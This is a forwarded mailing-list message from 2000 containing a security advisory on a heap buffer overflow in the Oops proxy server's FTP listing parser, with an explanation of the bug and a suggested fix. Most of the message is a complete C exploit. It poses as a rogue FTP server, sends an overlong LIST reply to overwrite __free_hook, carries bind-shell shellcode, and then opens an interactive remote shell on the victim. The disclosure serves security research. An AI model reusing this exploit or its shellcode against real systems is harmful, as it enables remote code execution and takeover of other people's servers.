Just in case ..
----- Forwarded message from [EMAIL PROTECTED] -----
> Date: Mon, 11 Dec 2000 18:55:29 +0100
> From: [EMAIL PROTECTED]
> Subject: [pkc] remote heap buffer overflow in oops
> To: [EMAIL PROTECTED]
>
> pkc001.txt
>
> --- Packet Knights Advisory 001 ---
>
> http://www.pkcrew.org
>
> Author : |CyRaX| <[EMAIL PROTECTED]>
>
> Application : Oops proxy server 1.4.22 1.4.6 and maybe prior
>
> Type: heap buffer overflow
>
> --- The problem ---
>
> Function list_parser in ftp_utils.c :
>
> line is the line sent by the ftp server in result of a list command
>
> tempbuf = xmalloc(strlen(line)*3 + strlen(myhostname) + dovesok , [...]);
> p is the line without the filename
>
> htmlized_something = html_escaping(p);
>
> and this is the vulnerable sprintf
>
> sprintf(tempbuf, "<img src=\"http://%s:%s/%s/%s\" alt=\"%s\">%s ",
> icons_host[0]?icons_host:myhostname,
> icons_port[0]?icons_port:"80",
> icons_path[0]?icons_path:"icons",
> icons[type],
> alts[type],
> htmlized_something);
>
> well.. as you can see tempbuf allocs strlen(line)*3. The probably tougth
> that the htmlizing of the line can give just a string 3 times bigger than
> the line. But if you look at html_escaping code you see that he translates
> " into " . So putting a large amount of " in the line we can overflow
> tempbuf.
>
> --- The Solution ---
>
> Well.. a quick fix could be just changing the alloc line into:
>
> tempbuf=xmalloc(strlen(line)*6+strlen(myhostname)+dovesok, [..];
>
> but you can save more memory allocating tempbuf after the html_escaping.
> Anyway.. the authors were contacted and they're fixing it in a better way.
>
> --- How to exploit this ---
>
> As demostrated by the traceroute and slocate exploits, it's possibile to
> overwrite a function pointer modifing a malloc chunk.
> And in this case, after the tempbuf buffer, there is the chunk of
> htmlized_something. So the exploit have to overwrite it, set the the size to
> 0xffffffff to make it a free chunk, put the address of the shellcode into fd
> and the address of the target function pointer into bd (-8), and when the
> free() will call the unlink it will put the shellcode address into
> __free_hook. The problem of the exploit is that we must compute exactly the
> length of tempbuf and hope that malloc will not give it a bigger length,
> overwrite perfectly the chunk, know exactly the address of __free_hook and the
> address of the shellcode.
> As you can see the bigger problem is the shellcode. We can't simply put a
> (not too) large amount of nop, cause the unlink will fill the zone near the
> one pointed by __free_hook with the address of it.. (so.. some illegal
> instrunctions) and the shellcode have to jump them. If instead you point to a
> nop the other nops after that will be overwritten by the unlink() and will
> result in SIGILL.
> So.. this is very hard to exploit.. anyway it's possible..
> I include an example exploit that worked on my slackware 7.0
>
> --- PKCoops-ex.c ---
>
> /* Dimostrative Exploit Against Oops Proxy Server v 1.4.22 and prior
> * Coded by |CyRaX| <[EMAIL PROTECTED]>
> * Packet Knights Crew : www.pkcrew.org
> * Tested on Slackware 7.0
> *
> * Greetz : all the bros of pkc, expecially recidjvo,asynchro & cthulhu
> * LordFelix & bikappa : for some hints about heap overflow
> * BlackBerry , Nobody88, sMAV, Mav, Mr^Moon and all the others
> */
>
>
> #include <stdio.h>
> #include <stdlib.h>
> #include <netinet/in.h>
> #include <sys/types.h>
>
> #define ALIGN 0
> #define __FREE_HOOK 0x40175994
> #define SHELLCODE 0x80b1223
>
>
> char c0de[]="\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
> "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
> "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
> "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
> "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
> "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
> "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
> "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
>
>
> int main(int argc,char **argv){
> int s,s2,clnsock,i;
> struct sockaddr_in srv,clt;
> char buff[500],sndbuff[1500],magic[1000],magic2[50],magic3[5000];
> unsigned long ip;
> int h1,h2,h3,h4,p1,p2;
> u_short port;
> int passive=0,tmplen,wrtlen;
> struct malloc_chunk{
> unsigned int ps;
> unsigned int sz;
> struct malloc_chunk *fd;
> struct malloc_chunk *bd;
> }mc;
> fd_set setz;
>
> mc.ps=0xffffffff & ~1;
> mc.sz=0xffffffff;
> mc.fd=(struct malloc_chunk *)(SHELLCODE); /* shellcode pointer */
> mc.bd=(struct malloc_chunk *)(__FREE_HOOK-8); /* target pointer */
> memset(magic2,0x41,0);
> memcpy(magic2+0,&mc,sizeof(mc));
>
> memset(magic3,'\x90',50);
> memcpy(magic3+50,c0de,strlen(c0de));
> magic3[50+strlen(c0de)]=0;
>
> if(argc<4){
> printf("Proof exploit against oops proxy server heap buffer overflow!\n");
> printf("by |CyRaX| <[EMAIL PROTECTED]>\n");
> printf("Member Of Packet Knights Crew - http://www.pkcrew.org\n");
> printf("Usage ./oopsexp <your_ip> <victim ip> <hostname len>\n");
> printf("your ip: it is necessary for the passive mode\n");
> printf("hostname len is the len of the host that he *thinks* to have\n");
> printf(" for example if the hostname is c500 you must put 4 here\n");
>
> exit(0);
> }
> printf("now set the victim as your proxy in any web browser and go to\n");
> printf("ftp://<your_ip>\n");
>
> for(i=0;i<strlen(argv[1]);i++)if(argv[1][i]=='.')argv[1][i]=',';
>
>
> s=socket(AF_INET,SOCK_STREAM,0);
> srv.sin_addr.s_addr=INADDR_ANY;
> srv.sin_port=htons(21);
> srv.sin_family=AF_INET;
> if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
> printf("cannot bind to port 21 !\n");
> exit(0);
> }
> listen(s,1);
> clnsock=accept(s,(struct sockaddr *)&clt,sizeof(clt));
> close(s);
> strcpy(buff,"220 exploit is here :)\r\n");
> send(clnsock,buff,strlen(buff),0);
> recv(clnsock,buff,500,0);
> strcpy(buff,"331 any pass is good d00d\r\n");
> send(clnsock,buff,strlen(buff),0);
> recv(clnsock,buff,500,0);
> strcpy(buff,"230 oky d00d.. login done!\r\n");
> send(clnsock,buff,strlen(buff),0);
> while(1){
> memset(buff,0,500);
> if(recv(clnsock,buff,500,0)<0)break;
> if(strstr(buff,"SYST")){
> strcpy(sndbuff,"215 UNIX Type: L8\r\n");
> send(clnsock,sndbuff,strlen(sndbuff),0);
> }
> if(strstr(buff,"PASV")){
> srv.sin_port=htons(1322);
> if(passive==0){
> s=socket(AF_INET,SOCK_STREAM,0);
> if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
> printf("cannot bind to port 1322 for passive mode!\n");
> exit(0);
> }
> listen(s,4);
> passive=1;
> }
> else {
> close(s2);
> }
> sprintf(sndbuff,"227 Entering Passive Mode (%s,5,42)\r\n",argv[1]);
> send(clnsock,sndbuff,strlen(sndbuff),0);
> }
> if(strstr(buff,"TYPE")){
> strcpy(sndbuff,"200 vabbuo' vabbuo'\r\n");
> send(clnsock,sndbuff,strlen(sndbuff),0);
> }
> if(strstr(buff,"NLST")){
> if(passive){
> s2=accept(s,NULL,NULL);
> strcpy(sndbuff,"150 Opening ASCII mode data connection for file
>list.\r\n");
> send(clnsock,sndbuff,strlen(sndbuff),0);
> sprintf(sndbuff,"%s\r\n",magic3);
> send(s2,sndbuff,strlen(sndbuff),0);
> close(s2);
> strcpy(sndbuff,"226 Transfer complete.!\r\n");
> send(clnsock,sndbuff,strlen(sndbuff),0);
>
> }
> }
>
> if(strstr(buff,"LIST")){
> strcpy(sndbuff,"150 vieni pure amore!\r\n");
> s2=accept(s,NULL,NULL);
>
> /* HOW MANY BYTES TO WRITE COMPUTING */
> tmplen=0;
> tmplen=strlen("Arwxrwxrwx rooOOOt \r\n ")*3+strlen(magic2)*3+
> strlen(magic3)*3;
> tmplen=tmplen+128; /* dovesok */
> tmplen=tmplen+atoi(argv[3]);
> tmplen+=10;
> wrtlen=strlen("<img src=\"http://:80/icons/unknown.gif\">"
> "alt=\"[Unkn] \" ")+atoi(argv[3]);
> wrtlen=wrtlen+strlen("Arwxrwxrwx rooOOOt \r\n")+strlen(magic2);
> i=0;
>
> while((wrtlen-tmplen)<16){
> magic[i]='"';
> tmplen+=3; /* 1 *3 */
> wrtlen+=6; /* " */
> i++;
> }
> magic[i]=0;
> printf("ora tmplen %i | wrtlen %i\n",tmplen,wrtlen);
>
>
> memset(sndbuff,0,1500);
> snprintf(sndbuff,6000,"Arwxrwxrwx rooOOOt %s %s 2000 %s\r\n",
> magic,
> magic2,
> magic3);
>
> send(s2,sndbuff,3000,0);
> strcpy(sndbuff,"226 Ho finito\r\n");
> send(clnsock,sndbuff,strlen(sndbuff),0);
> shutdown(s2,2);
> printf("closed!\n");
> sleep(5);
> s2=socket(AF_INET,SOCK_STREAM,0);
> clt.sin_addr.s_addr=inet_addr(argv[2]);
> clt.sin_port=htons(3879);
> clt.sin_family=AF_INET;
> if(connect(s2,(struct sockaddr *)&clt,sizeof(clt))!=0){
> printf("SORRY.. it didn't work!\n");
> exit(0);
> }
> strcpy(sndbuff,"uname -a;id\n");
> send(s2,sndbuff,strlen(sndbuff),0);
> while(1){
> FD_ZERO(&setz);
> FD_SET(0,&setz);
> FD_SET(s2,&setz);
> select(s2+1,&setz,NULL,NULL,NULL);
> if(FD_ISSET(0,&setz)){
> memset(sndbuff,0,sizeof(sndbuff));
> fgets(sndbuff,sizeof(sndbuff),stdin);
> send(s2,sndbuff,strlen(sndbuff),0);
> }
> if(FD_ISSET(s2,&setz)){
> memset(sndbuff,0,sizeof(sndbuff));
> recv(s2,sndbuff,sizeof(sndbuff),0);
> printf("%s",sndbuff);
> }
> }
> }
> if(strstr(buff,"CWD")){
> strcpy(sndbuff,"250 SUUU.. FATTI SOTTO !\r\n");
> send(clnsock,sndbuff,strlen(sndbuff),0);
> }
> if(strstr(buff,"PWD")){
> strcpy(sndbuff,"257 \"/\" ti stai cagando sotto eh ?!\r\n");
> send(clnsock,sndbuff,strlen(sndbuff),0);
> }
> if(strstr(buff,"QUIT")){
> close(clnsock);
> }
> }
> close(clnsock);
> close(s);
> close(s2);
> }
>
>
> -- EOF --
>
> |CyRaX|
> Member Of Packet Knights Crew
> www.pkcrew.org
>
----- End forwarded message -----
--
Philipp Buehler, aka fIpS | sysfive.com GmbH | BOfH | NUCH | <double-p>
%SYSTEM-F-TOOEARLY, please contact your sysadmin at a sensible time.
Artificial Intelligence stands no chance against Natural Stupidity.
[X] <-- nail here for new monitor
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